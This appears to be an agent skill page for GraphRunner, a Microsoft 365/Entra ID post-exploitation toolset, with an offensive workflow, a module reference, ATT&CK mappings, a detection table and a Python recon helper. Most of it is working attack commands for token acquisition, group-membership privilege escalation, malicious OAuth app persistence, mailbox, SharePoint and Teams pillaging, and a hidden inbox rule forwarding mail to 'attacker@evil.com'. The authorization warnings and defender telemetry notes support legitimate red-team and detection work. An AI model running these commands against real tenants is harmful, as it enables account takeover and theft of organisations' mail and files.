npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
Overview
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:
- Authentication —
Get-GraphTokens(device-code login),Invoke-RefreshGraphTokens,Invoke-AutoTokenRefresh,Invoke-ImportTokens,Invoke-RefreshToSharePointToken. - Recon & Enumeration —
Invoke-GraphRecon(tenant/user permission summary),Invoke-DumpCAPS(conditional-access policies),Invoke-DumpApps(app registrations / consent grants),Get-AzureADUsers,Get-SecurityGroups,Get-UpdatableGroups,Get-DynamicGroups,Invoke-SearchUserAttributes,Invoke-GraphOpenInboxFinder,Find-PermissiveCalendars. - Persistence —
Invoke-InjectOAuthApp(deploy a malicious OAuth app for consent-grant persistence),Invoke-CreateInboxForwardingRule. - Privilege Escalation —
Get-UpdatableGroups,Invoke-AddGroupMember,Invoke-SecurityGroupCloner,Invoke-InviteGuest. - Pillage / Data Search —
Invoke-SearchMailbox,Invoke-SearchSharePointAndOneDrive,Invoke-SearchTeams,Get-TeamsChat,Invoke-DriveFileDownload. - Master runner —
Invoke-GraphRunnerruns an automated recon-and-pillage pass;List-GraphRunnerModulesprints all modules.
This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
When to Use
- After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
- When demonstrating privilege escalation through updatable/dynamic groups.
- When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.
Prerequisites
- Written authorization and scope for the target tenant.
- A Graph token foothold (from
Get-GraphTokensdevice-code login, or imported tokens). - PowerShell 5.1+ or PowerShell 7 (cross-platform).
# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1
# List every available module
List-GraphRunnerModulesObjectives
- Authenticate to Microsoft Graph and maintain tokens via refresh.
- Enumerate tenant users, groups, CA policies, and OAuth apps.
- Identify updatable groups and demonstrate privilege escalation.
- Establish persistence via an injected OAuth app and/or inbox forwarding rule.
- Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.
MITRE ATT&CK Mapping
| ID | Tactic | Official Technique Name | Role in this skill |
|---|---|---|---|
| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access |
| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups |
| T1528 | Credential Access | Steal Application Access Token | Get-GraphTokens device-code token acquisition |
| T1087.004 | Discovery | Account Discovery: Cloud Account | Get-AzureADUsers, Invoke-SearchUserAttributes |
| T1114.002 | Collection | Email Collection: Remote Email Collection | Invoke-SearchMailbox over Graph |
| T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | Invoke-InjectOAuthApp consent-grant persistence |
Workflow
Step 1: Authenticate and refresh tokens
# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens
# Refresh the access token when it expires
Invoke-RefreshGraphTokens
# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh
# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rtStep 2: Recon and enumeration
# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens
# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokensStep 3: Search user attributes for secrets
# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"Step 4: Privilege escalation via updatable groups
# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens
# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokensStep 5: Persistence
# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"
# Create a hidden inbox forwarding rule on a target mailbox
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "attacker@evil.com" -RuleName "Sync"Step 6: Pillage M365 data
# Search a mailbox (or all reachable mailboxes) for sensitive terms
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv
# Search SharePoint and OneDrive content
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
# Download a discovered file
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx
# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"Step 7: Automated full pass
# Run the orchestrated recon + pillage workflow end to end
Invoke-GraphRunner -Tokens $tokensTools and Resources
| Tool | Purpose | Primary Source |
|---|---|---|
| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https://github.com/dafthack/GraphRunner |
| GraphRunner wiki | Per-module usage guide | https://github.com/dafthack/GraphRunner/wiki |
| BHIS GraphRunner blog | Tool release + walkthrough | https://www.blackhillsinfosec.com/introducing-graphrunner/ |
| Microsoft Graph API | API reference for the underlying calls | https://learn.microsoft.com/graph/api/overview |
| ROADtools | Upstream token acquisition / device-code phishing | https://github.com/dirkjanm/ROADtools |
OPSEC and Detection Considerations
GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:
| GraphRunner action | Telemetry source | What the defender sees |
|---|---|---|
Get-GraphTokens (device code) |
Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP |
Invoke-InjectOAuthApp |
Entra audit logs | "Add application" + "Consent to application" events with broad delegated scopes |
Invoke-AddGroupMember / Invoke-SecurityGroupCloner |
Entra audit logs | "Add member to group" on privileged/role-assignable groups |
Invoke-CreateInboxForwardingRule |
M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |
Invoke-SearchMailbox / Invoke-SearchSharePointAndOneDrive |
MicrosoftGraphActivityLogs | High-volume $search calls against /messages and Drive endpoints |
To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.
Validation Criteria
- Graph tokens obtained via
Get-GraphTokensand refreshed successfully. - Tenant recon completed (
Invoke-GraphRecon,Invoke-DumpCAPS,Invoke-DumpApps). - Users and security groups enumerated.
- User attributes searched for embedded secrets.
- Updatable groups identified and a controlled privilege escalation demonstrated.
- Persistence established (OAuth app injection and/or inbox forwarding) where in scope.
- Mailbox, SharePoint/OneDrive, and Teams searched for sensitive data.
- All actions, object IDs, and evidence logged for the engagement report and cleanup.
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 2
api-reference.md3.6 KB
GraphRunner Module Reference
Import with Import-Module .\GraphRunner.ps1. Run List-GraphRunnerModules for the live list.
Authentication
| Function | Purpose |
|---|---|
Get-GraphTokens |
Device-code login; returns $tokens object (access + refresh) |
Invoke-RefreshGraphTokens |
Refresh the access token from the refresh token |
Invoke-AutoTokenRefresh |
Background auto-refresh during long operations |
Invoke-ImportTokens |
Import externally captured access/refresh tokens |
Invoke-RefreshToSharePointToken |
Exchange a Graph token for a SharePoint token |
Get-AzureAppTokens / Invoke-RefreshAzureAppTokens |
App (consent-grant) token flow |
Invoke-AutoOAuthFlow / Invoke-BruteClientIDAccess |
OAuth consent flow helpers |
Recon & Enumeration
| Function | Purpose |
|---|---|
Invoke-GraphRecon |
Tenant + current-user permission summary (-PermissionEnum) |
Invoke-DumpCAPS |
Dump conditional-access policies (-ResolveGuids) |
Invoke-DumpApps |
App registrations, service principals, consent grants, reply URLs |
Get-AzureADUsers |
Enumerate all users (-OutFile) |
Get-SecurityGroups / Get-DirectoryRoles |
Enumerate groups / directory roles |
Get-UpdatableGroups |
Groups the current principal can modify (privesc) |
Get-DynamicGroups |
Dynamic membership groups |
Invoke-SearchUserAttributes |
Search all user attributes for a term (-SearchTerm) |
Invoke-GraphOpenInboxFinder |
Find mailboxes readable by the current user |
Find-PermissiveCalendars |
Find over-shared calendars |
Invoke-CheckAccess |
Check token validity/scope |
Get-EntraIDGroupInfo / Invoke-GroupLookup |
Group detail lookups |
Privilege Escalation / Account Manipulation
| Function | Purpose |
|---|---|
Invoke-AddGroupMember |
Add a member to a group (-GroupId -UserId) |
Invoke-RemoveGroupMember |
Remove a group member |
Invoke-SecurityGroupCloner |
Clone a group's membership into a controlled group |
Create-SecurityGroupWithMembers |
Create a group with chosen members |
Invoke-InviteGuest |
Invite an external guest account |
Persistence
| Function | Purpose |
|---|---|
Invoke-InjectOAuthApp |
Deploy a malicious OAuth app (-AppName -ReplyUrl -Scope) |
Invoke-DeleteOAuthApp |
Remove an injected app (cleanup) |
Invoke-CreateInboxForwardingRule |
Hidden inbox forwarding rule (-ForwardTo -RuleName) |
Pillage / Data Search
| Function | Purpose |
|---|---|
Invoke-SearchMailbox |
Search mailbox(es) (-SearchTerm -MessageCount -OutFile) |
Invoke-SearchSharePointAndOneDrive |
Search SharePoint/OneDrive (-SearchTerm) |
Get-SharePointSiteURLs |
Enumerate SharePoint sites |
Invoke-DriveFileDownload |
Download a drive item (-DriveItemIDs -FileName) |
Invoke-SearchTeams |
Search Teams messages (-SearchTerm) |
Get-TeamsChat / Get-TeamsChannels / Get-TeamsApps |
Teams enumeration |
Get-Inbox / Invoke-ImmersiveFileReader |
Read inbox / files |
Orchestration
| Function | Purpose |
|---|---|
Invoke-GraphRunner |
Automated recon + pillage pass |
List-GraphRunnerModules |
Print all available modules |
Underlying Graph endpoints (examples)
| Action | Endpoint |
|---|---|
| List users | GET https://graph.microsoft.com/v1.0/users |
| List groups | GET https://graph.microsoft.com/v1.0/groups |
| Add group member | POST /groups/{id}/members/$ref |
| Search mail | GET /me/messages?$search="term" |
| Create app | POST /applications |
| Mail forwarding rule | POST /me/mailFolders/inbox/messageRules |
standards.md1.6 KB
Standards and Framework Mapping
NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|---|---|---|
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined in a policy, managed, enforced, and reviewed, incorporating least privilege and separation of duties | GraphRunner abuses over-broad Graph permissions, updatable groups, and OAuth consent; the engagement validates whether PR.AA-05 least-privilege controls actually constrain a token holder. |
MITRE ATT&CK (Enterprise)
| ID | Name | Rationale |
|---|---|---|
| T1098 | Account Manipulation | Adding group members, cloning groups, inviting guests to retain/escalate access. |
| T1098.003 | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups. |
| T1528 | Steal Application Access Token | Get-GraphTokens device-code token acquisition. |
| T1087.004 | Account Discovery: Cloud Account | Get-AzureADUsers, Invoke-SearchUserAttributes. |
| T1114.002 | Email Collection: Remote Email Collection | Invoke-SearchMailbox via Graph. |
| T1606.002 | Forge Web Credentials: SAML/OAuth | Invoke-InjectOAuthApp consent-grant persistence. |
| T1564.008 | Hide Artifacts: Email Hiding Rules | Invoke-CreateInboxForwardingRule. |
Detection cross-reference
GraphRunner activity surfaces in MicrosoftGraphActivityLogs and AADGraphActivityLogs; OAuth app injection appears in audit logs as "Add service principal" / "Consent to application"; group manipulation appears as "Add member to group". These map to NIST DE.CM-09 (computing hardware/software/runtime monitoring) for the defensive counterpart.
Scripts 1
agent.py6.2 KB
#!/usr/bin/env python3
"""Microsoft Graph post-exploitation recon helper.
Authorized-use companion to GraphRunner. Drives the same Microsoft Graph REST
endpoints GraphRunner uses, from Python, given an existing Graph access token.
Supports device-code token acquisition (azcli first-party client) and read-only
recon: users, groups, app consent grants, and mailbox search.
Examples
--------
# Acquire a token via device code (complete at microsoft.com/devicelogin)
python agent.py auth --tenant <tenant-guid-or-domain> > tokens.json
# Recon with a stored token
python agent.py users --token-file tokens.json --out users.json
python agent.py groups --token-file tokens.json
python agent.py grants --token-file tokens.json
python agent.py mail --token-file tokens.json --term password
"""
import argparse
import json
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
GRAPH = "https://graph.microsoft.com/v1.0"
# Microsoft Azure CLI first-party client (public, FOCI) — same class GraphRunner uses.
AZCLI_CLIENT_ID = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
def http_json(method, url, headers=None, data=None):
headers = headers or {}
body = None
if data is not None:
if isinstance(data, dict):
body = urllib.parse.urlencode(data).encode()
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
else:
body = data.encode()
req = urllib.request.Request(url, data=body, headers=headers, method=method)
try:
with urllib.request.urlopen(req) as resp:
return resp.status, json.loads(resp.read().decode() or "{}")
except urllib.error.HTTPError as exc:
detail = exc.read().decode(errors="replace")
try:
return exc.code, json.loads(detail)
except json.JSONDecodeError:
return exc.code, {"error": detail}
def device_code_auth(tenant):
base = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0"
scope = "https://graph.microsoft.com/.default offline_access openid"
status, dc = http_json("POST", f"{base}/devicecode",
data={"client_id": AZCLI_CLIENT_ID, "scope": scope})
if status != 200:
sys.exit(f"[!] devicecode request failed: {dc}")
print(dc["message"], file=sys.stderr)
interval = int(dc.get("interval", 5))
while True:
time.sleep(interval)
status, tok = http_json("POST", f"{base}/token", data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": AZCLI_CLIENT_ID,
"device_code": dc["device_code"],
})
if status == 200:
return tok
err = tok.get("error")
if err == "authorization_pending":
continue
if err == "slow_down":
interval += 5
continue
sys.exit(f"[!] token error: {tok}")
def load_token(path):
with open(path, "r", encoding="utf-8") as fh:
data = json.load(fh)
tok = data.get("access_token")
if not tok:
sys.exit("[!] no access_token in token file")
return tok
def graph_get_all(token, path):
headers = {"Authorization": f"Bearer {token}"}
url = f"{GRAPH}{path}"
items = []
while url:
status, body = http_json("GET", url, headers=headers)
if status != 200:
print(f"[!] {url} -> {status}: {body.get('error')}", file=sys.stderr)
break
items.extend(body.get("value", []))
url = body.get("@odata.nextLink")
return items
def cmd_auth(args):
tok = device_code_auth(args.tenant)
print(json.dumps(tok, indent=2))
def cmd_users(args):
tok = load_token(args.token_file)
users = graph_get_all(tok, "/users?$select=displayName,userPrincipalName,id,jobTitle")
print(f"[+] {len(users)} users", file=sys.stderr)
out = json.dumps(users, indent=2)
if args.out:
with open(args.out, "w", encoding="utf-8") as fh:
fh.write(out)
print(f"[+] written to {args.out}", file=sys.stderr)
else:
print(out)
def cmd_groups(args):
tok = load_token(args.token_file)
groups = graph_get_all(tok, "/groups?$select=displayName,id,securityEnabled,groupTypes")
print(f"[+] {len(groups)} groups", file=sys.stderr)
for g in groups:
gt = ",".join(g.get("groupTypes") or []) or "security"
print(f"{g['id']} {g.get('displayName')} [{gt}]")
def cmd_grants(args):
tok = load_token(args.token_file)
grants = graph_get_all(tok, "/oauth2PermissionGrants")
print(f"[+] {len(grants)} OAuth2 permission grants", file=sys.stderr)
for gr in grants:
print(f"client={gr.get('clientId')} resource={gr.get('resourceId')} scope={gr.get('scope')}")
def cmd_mail(args):
tok = load_token(args.token_file)
headers = {"Authorization": f"Bearer {tok}"}
q = urllib.parse.quote(f'"{args.term}"')
url = f'{GRAPH}/me/messages?$search={q}&$top={args.top}&$select=subject,from,receivedDateTime'
status, body = http_json("GET", url, headers=headers)
if status != 200:
sys.exit(f"[!] mail search failed {status}: {body.get('error')}")
msgs = body.get("value", [])
print(f"[+] {len(msgs)} messages matching '{args.term}'", file=sys.stderr)
for m in msgs:
sender = (m.get("from") or {}).get("emailAddress", {}).get("address", "?")
print(f"{m.get('receivedDateTime')} {sender} {m.get('subject')}")
def main():
p = argparse.ArgumentParser(description="Microsoft Graph recon helper (authorized use only)")
sub = p.add_subparsers(dest="cmd", required=True)
sa = sub.add_parser("auth"); sa.add_argument("--tenant", required=True)
su = sub.add_parser("users"); su.add_argument("--token-file", required=True); su.add_argument("--out")
sg = sub.add_parser("groups"); sg.add_argument("--token-file", required=True)
sgr = sub.add_parser("grants"); sgr.add_argument("--token-file", required=True)
sm = sub.add_parser("mail"); sm.add_argument("--token-file", required=True)
sm.add_argument("--term", required=True); sm.add_argument("--top", type=int, default=25)
args = p.parse_args()
{"auth": cmd_auth, "users": cmd_users, "groups": cmd_groups,
"grants": cmd_grants, "mail": cmd_mail}[args.cmd](args)
if __name__ == "__main__":
main()